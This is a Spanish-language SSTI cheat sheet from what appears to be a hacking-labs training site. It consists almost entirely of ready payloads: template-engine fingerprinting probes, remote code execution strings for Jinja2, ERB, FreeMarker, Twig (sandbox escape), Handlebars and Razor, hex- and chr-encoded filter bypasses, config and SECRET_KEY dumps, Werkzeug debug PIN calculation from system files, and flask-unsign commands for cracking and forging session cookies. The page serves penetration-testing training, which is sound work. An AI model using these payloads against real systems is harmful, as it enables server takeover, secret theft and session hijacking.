Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet SSTI
Server-Side Template Injection
Referencia rápida
- →El arbol de decision: {{7*7}}=49? -> {{7*"7"}}=7777777 (Jinja2) o 49 (Twig)
- →Buscar SSTI en: generadores de PDF/email, sistemas de plantillas admin, respuestas de error personalizadas
- →Para Jinja2 con filtros estrictos, usar hex encoding (\x5f) o chr() para evitar _ y comillas
- →Twig sandbox escape: sort("call_user_func") permite RCE incluso en modo sandboxed
- →Si Flask tiene debug mode habilitado, calcular el PIN con datos de /proc y /sys
Deteccion y fingerprinting
Fuzzing inicial
${{<%[%'"}}%\Test matematico Jinja2/TwigSi devuelve 49, es Jinja2 o Twig
{{7*7}}Distinguir Jinja2 de TwigJinja2 devuelve 7777777, Twig devuelve 49
{{7*'7'}}Test FreeMarkerSi devuelve 49, es FreeMarker (Java)
${7*7}Test ERB (Ruby)Si devuelve 49, es ERB
<%= 7*7 %>
Test Razor (.NET)Si devuelve 49, es Razor
@(7*7)
Test Smarty/Mako
${7*7}Test DjangoSi muestra debug info, es Django
{% debug %}Jinja2 (Python) - RCE
One-shot RCE via request
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}RCE via subclass chain
{{''.__class__.__mro__[1].__subclasses__()[400]('whoami',shell=True,stdout=-1).communicate()}}Config y secrets
{{config.items()}}Django SECRET_KEY
{{settings.SECRET_KEY}}Filter bypass (hex encoding)Bypass cuando _ esta filtrado
{{request|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")}}Quote-free (chr encoding)
{{''.__class__.__mro__[1].__subclasses__()[396](chr(105)+chr(100),shell=True,stdout=-1).communicate()[0].strip()}}Otros motores - RCE
ERB (Ruby) - system
<%= system("whoami") %>ERB - backticks
<%= `ls /` %>
FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }Twig sandbox escapesort() acepta callback -> call_user_func("system", "id")
{{ ['system','id'] | sort('call_user_func') }}Handlebars (JS)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Razor (.NET) - Process
@{var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
var output = proc.StandardOutput.ReadToEnd();}@outputFlask/Werkzeug Debug PIN
Calcular PIN con LFI
Leer: 1. /proc/self/environ (username del proceso) 2. /sys/class/net/eth0/address (MAC en decimal) 3. /etc/machine-id o /proc/sys/kernel/random/boot_id 4. Path a flask/app.py (del traceback) Calcular: SHA1(public_bits + private_bits) -> PIN
Flask session forgeryCrackear secret key de la session Flask
flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJ...'
Forjar session
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'Herramientas
SSTImap
Herramienta automatizada de deteccion y explotacion de SSTI multi-engine
python3 sstimap.py -u 'https://target.com/?param=test' --os-cmd 'id'
tplmap
Alternativa a SSTImap con soporte para multiples motores de template
python3 tplmap.py -u 'https://target.com/?name=test' --os-cmd 'id'
fenjing
Generador automatico de payloads Jinja2 con bypass de filtros
python3 -c "from fenjing import exec_cmd_payload; ..."
flask-unsign
Crackear y forjar session cookies de Flask
flask-unsign --unsign --cookie 'eyJ...' --wordlist rockyou.txt
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica